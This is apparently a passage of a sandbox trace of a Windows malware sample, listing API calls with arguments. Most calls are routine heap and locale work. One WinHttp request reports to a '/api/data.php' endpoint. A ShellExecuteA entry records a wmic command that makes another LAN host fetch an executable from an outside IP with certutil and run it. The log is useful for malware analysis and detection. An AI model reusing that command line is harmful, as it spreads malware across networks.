hHeap=0x230000, dwFlags=0x0, lpMem=0x272b10 | out: hHeap=0x230000) returned 1 [0090.522] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x30ee78) returned 1 [0090.522] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x30ee78 | out: hHeap=0x230000) returned 1 [0090.523] WinHttpOpenRequest (hConnect=0x272c88, pwszVerb="GET", pwszObjectName="/api/data.php?code=EI5HT07HHN3BJJTA&url=4D546B794C6A45324F4334774C6A45334D516C4A55454D675433426C62673D3D&from=WinPC&kind=failed", pwszVersion="HTTP/1.1", pwszReferrer=0x0, ppwszAcceptTypes=0x0, dwFlags=0x0) returned 0x319db8 [0090.523] WinHttpSendRequest (hRequest=0x319db8, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0, dwTotalLength=0x0, dwContext=0x0) returned 1 [0091.217] WinHttpCloseHandle (hInternet=0x319db8) returned 1 [0091.217] WinHttpCloseHandle (hInternet=0x272c88) returned 1 [0091.217] WinHttpCloseHandle (hInternet=0x2aaf98) returned 1 [0091.218] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x3043d8) returned 1 [0091.218] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x3043d8 | out: hHeap=0x230000) returned 1 [0091.218] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x30ee40) returned 1 [0091.218] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x30ee40 | out: hHeap=0x230000) returned 1 [0091.218] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x28ca48) returned 1 [0091.218] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x28ca48 | out: hHeap=0x230000) returned 1 [0091.218] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x30ed98) returned 1 [0091.218] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x30ed98 | out: hHeap=0x230000) returned 1 [0091.218] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x240ed8) returned 1 [0091.218] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x240ed8 | out: hHeap=0x230000) returned 1 [0091.218] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x30edd0) returned 1 [0091.218] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x30edd0 | out: hHeap=0x230000) returned 1 [0091.218] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x312b10) returned 1 [0091.219] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x312b10 | out: hHeap=0x230000) returned 1 [0091.219] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x30ed60) returned 1 [0091.219] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x30ed60 | out: hHeap=0x230000) returned 1 [0091.219] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x30ecb8) returned 1 [0091.219] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x30ecb8 | out: hHeap=0x230000) returned 1 [0091.219] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x30ec80) returned 1 [0091.219] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x30ec80 | out: hHeap=0x230000) returned 1 [0091.219] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x26b948) returned 1 [0091.219] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x26b948 | out: hHeap=0x230000) returned 1 [0091.219] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x30ea50) returned 1 [0091.219] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x30ea50 | out: hHeap=0x230000) returned 1 [0091.219] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x30ea50 [0091.219] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x84) returned 0x3253b8 [0091.219] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x30ec80 [0091.219] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x44) returned 0x26b948 [0091.219] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x64) returned 0x272540 [0091.220] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x26b948) returned 1 [0091.220] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x26b948 | out: hHeap=0x230000) returned 1 [0091.220] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x30ecb8 [0091.220] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0xc4) returned 0x272b10 [0091.220] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x272540) returned 1 [0091.220] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x272540 | out: hHeap=0x230000) returned 1 [0091.220] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x30ed60 [0091.220] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x30edd0 [0091.220] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x30edd0) returned 1 [0091.220] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x30edd0 | out: hHeap=0x230000) returned 1 [0091.220] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x30ed60) returned 1 [0091.220] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x30ed60 | out: hHeap=0x230000) returned 1 [0091.221] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x30ecb8) returned 1 [0091.221] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x30ecb8 | out: hHeap=0x230000) returned 1 [0091.221] ShellExecuteA (hwnd=0x0, lpOperation=0x0, lpFile="cmd.exe", lpParameters="/c wmic /node:192.168.0.171 process call create \"cmd.exe /c certutil.exe -urlcache -split -f http://58.221.158.90:88/car/down.txt C:/c.exe&C:\\c.exe\"", lpDirectory=0x0, nShowCmd=0) returned 0x2a [0091.410] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0091.410] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x0, dwImpLevel=0x2, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0091.682] CoCreateInstance (in: rclsid=0x492500*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x492430*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1d15fa08 | out: ppv=0x1d15fa08*=0x23160828) returned 0x0 [0093.550] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x26) returned 0x2ae920 [0093.550] GetLastError () returned 0x0 [0093.550] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x388) returned 0x271af0 [0093.550] SetLastError (dwErrCode=0x0) [0093.550] GetLastError () returned 0x0 [0093.550] SetLastError (dwErrCode=0x0) [0093.550] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0xdc) returned 0x2cda20 [0093.550] GetLastError () returned 0x0 [0093.550] SetLastError (dwErrCode=0x0) [0093.550] GetLastError () returned 0x0 [0093.550] SetLastError (dwErrCode=0x0) [0093.551] LoadLibraryExW (lpLibFileName="api-ms-win-core-string-l1-1-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0093.551] GetLastError () returned 0x57 [0093.551] LoadLibraryExW (lpLibFileName="api-ms-win-core-string-l1-1-0", hFile=0x0, dwFlags=0x0) returned 0x75410000 [0093.554] GetProcAddress (hModule=0x75410000, lpProcName="CompareStringEx") returned 0x7544594a [0093.554] GetLastError () returned 0x57 [0093.554] SetLastError (dwErrCode=0x57) [0093.556] GetProcAddress (hModule=0x76e10000, lpProcName="GetUserDefaultLocaleName") returned 0x76ea47c1 [0093.556] GetUserDefaultLocaleName (in: lpLocaleName=0x1d15eff8, cchLocaleName=85 | out: lpLocaleName="en-US") returned 6 [0093.557] GetProcAddress (hModule=0x76e10000, lpProcName="GetLocaleInfoEx") returned 0x76ea4751 [0093.559] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x20001004, lpLCData=0x1d15f0a0, cchData=2 | out: lpLCData="Ӥ") returned 2 [0093.559] IsValidCodePage (CodePage=0x4e4) returned 1 [0093.559] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x1001, lpLCData=0x1d15f100, cchData=64 | out: lpLCData="English") returned 8 [0093.559] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x1002, lpLCData=0x1d15f180, cchData=64 | out: lpLCData="United States") returned 14 [0093.560] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x5e) returned 0x2a10d8 [0093.560] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x30) returned 0x2684f8 [0093.560] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x4ac370, cbMultiByte=127, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 127 [0093.560] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x12a) returned 0x321498 [0093.560] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x4ac370, cbMultiByte=127, lpWideCharStr=0x3214c0, cchWideChar=127 | out: lpWideCharStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f﷽﷽") returned 127 [0093.560] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f﷽﷽", cchSrc=127, lpCharType=0x1d15f3e4 | out: lpCharType=0x1d15f3e4) returned 1 [0093.560] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x321498) returned 1 [0093.560] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x321498 | out: hHeap=0x230000) returned 1 [0093.560] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x28) returned 0x2ae8f0 [0093.560] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x324) returned 0x2aad88 [0093.560] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x1a4) returned 0x29b9a8 [0093.560] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x1a4) returned 0x271458 [0093.560] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x125) returned 0x272c88 [0093.560] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x1d15f2cc | out: lpCPInfo=0x1d15f2cc) returned 1 [0093.560] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x272ca9, cbMultiByte=255, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 255 [0093.561] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x22a) returned 0x321120 [0093.561] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x272ca9, cbMultiByte=255, lpWideCharStr=0x321148, cchWideChar=255 | out: lpWideCharStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽14_꛰ᓞ岤") returned 255 [0093.561] LCMapStringEx (in: lpLocaleName="en-US", dwMapFlags=0x100, lpSrcStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽14_꛰ᓞ岤", cchSrc=255, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 255 [0093.561] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x22a) returned 0x32fcc8 [0093.561] LCMapStringEx (in: lpLocaleName="en-US", dwMapFlags=0x100, lpSrcStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽14_꛰ᓞ岤", cchSrc=255, lpDestStr=0x32fcf0, cchDest=255, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽2⤀2ꛦ˞岤") returned 255 [0093.561] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽2⤀2ꛦ˞岤", cchWideChar=255, lpMultiByteStr=0x29ba49, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿýýýý", lpUsedDefaultChar=0x0) returned 255 [0093.561] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x32fcc8) returned 1 [0093.561] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x32fcc8 | out: hHeap=0x230000) returned 1 [0093.561] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x321120) returned 1 [0093.561] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x321120 | out: hHeap=0x230000) returned 1 [0093.561] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x272ca9, cbMultiByte=255, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 255 [0093.561] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x22a) returned 0x321120 [0093.561] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x272ca9, cbMultiByte=255, lpWideCharStr=0x321148, cchWideChar=255 | out: lpWideCharStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽14_꛰ᓞ岤") returned 255 [0093.561] LCMapStringEx (in: lpLocaleName="en-US", dwMapFlags=0x200, lpSrcStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽14_꛰ᓞ岤", cchSrc=255, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 255 [0093.561] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x22a) returned 0x32fcc8 [0093.561] LCMapStringEx (in: lpLocaleName="en-US", dwMapFlags=0x200, lpSrcStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽14_꛰ᓞ岤", cchSrc=255, lpDestStr=0x32fcf0, cchDest=255, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ﷽﷽2⤀2ꛦ˞岤") returned 255 [0093.561] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ﷽﷽2⤀2ꛦ˞岤", cchWideChar=255, lpMultiByteStr=0x2714f9, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9fýýýý", lpUsedDefaultChar=0x0) returned 255 [0093.561] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x32fcc8) returned 1 [0093.561] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x32fcc8 | out: hHeap=0x230000) returned 1 [0093.561] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x321120) returned 1 [0093.561] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x321120 | out: hHeap=0x230000) returned 1 [0093.561] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x272ca8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0093.561] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x22c) returned 0x321120 [0093.562] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x272ca8, cbMultiByte=256, lpWideCharStr=0x321148, cchWideChar=256 | out: lpWideCharStr="") returned 256 [0093.562] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr="", cchSrc=256, lpCharType=0x2aaea8 | out: lpCharType=0x2aaea8) returned 1 [0093.562] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x321120) returned 1 [0093.562] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x321120 | out: hHeap=0x230000) returned 1 [0093.562] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x272c88) returned 1 [0093.562] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x272c88 | out: hHeap=0x230000) returned 1 [0093.562] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x2ae920) returned 1 [0093.562] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2ae920 | out: hHeap=0x230000) returned 1 [0093.562] GetLastError () returned 0x57 [0093.562] SetLastError (dwErrCode=0x57) [0093.562] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="English_United States.1252", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x1d15f89c | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x1d15f89c) returned 27 [0093.562] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x43) returned 0x312bb0 [0093.562] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="English_United States.1252", cchWideChar=27, lpMultiByteStr=0x312bd4, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x1d15f89c | out: lpMultiByteStr="English_United States.1252", lpUsedDefaultChar=0x1d15f89c) returned 27 [0093.562] GetLastError () returned 0x57 [0093.562] SetLastError (dwErrCode=0x57) [0093.562] GetLastError () returned 0x57 [0093.562] SetLastError (dwErrCode=0x57) [0093.562] GetLastError () returned 0x57 [0093.562] SetLastError (dwErrCode=0x57) [0093.563] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x1d15fdb8, cbMultiByte=1, lpWideCharStr=0x1d15f3a0, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0093.563] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x1d15fdb9, cbMultiByte=1, lpWideCharStr=0x1d15f3a0, cchWideChar=1 | out: lpWideCharStr="9") returned 1 [0093.563] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x1d15fdba, cbMultiByte=1, lpWideCharStr=0x1d15f3a0, cchWideChar=1 | out: lpWideCharStr="2") returned 1 [0093.563] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x1d15fdbb, cbMultiByte=1, lpWideCharStr=0x1d15f3a0, cchWideChar=1 | out: lpWideCharStr=".") returned 1 [0093.563] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x1d15fdbc, cbMultiByte=1, lpWideCharStr=0x1d15f3a0, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0093.563] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x1d15fdbd, cbMultiByte=1, lpWideCharStr=0x1d15f3a0, cchWideChar=1 | out: lpWideCharStr="6") returned 1 [0093.563] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x1d15fdbe, cbMultiByte=1, lpWideCharStr=0x1d15f3a0, cchWideChar=1 | out: lpWideCharStr="8") returned 1 [0093.563] MultiByteToWideChar (in: 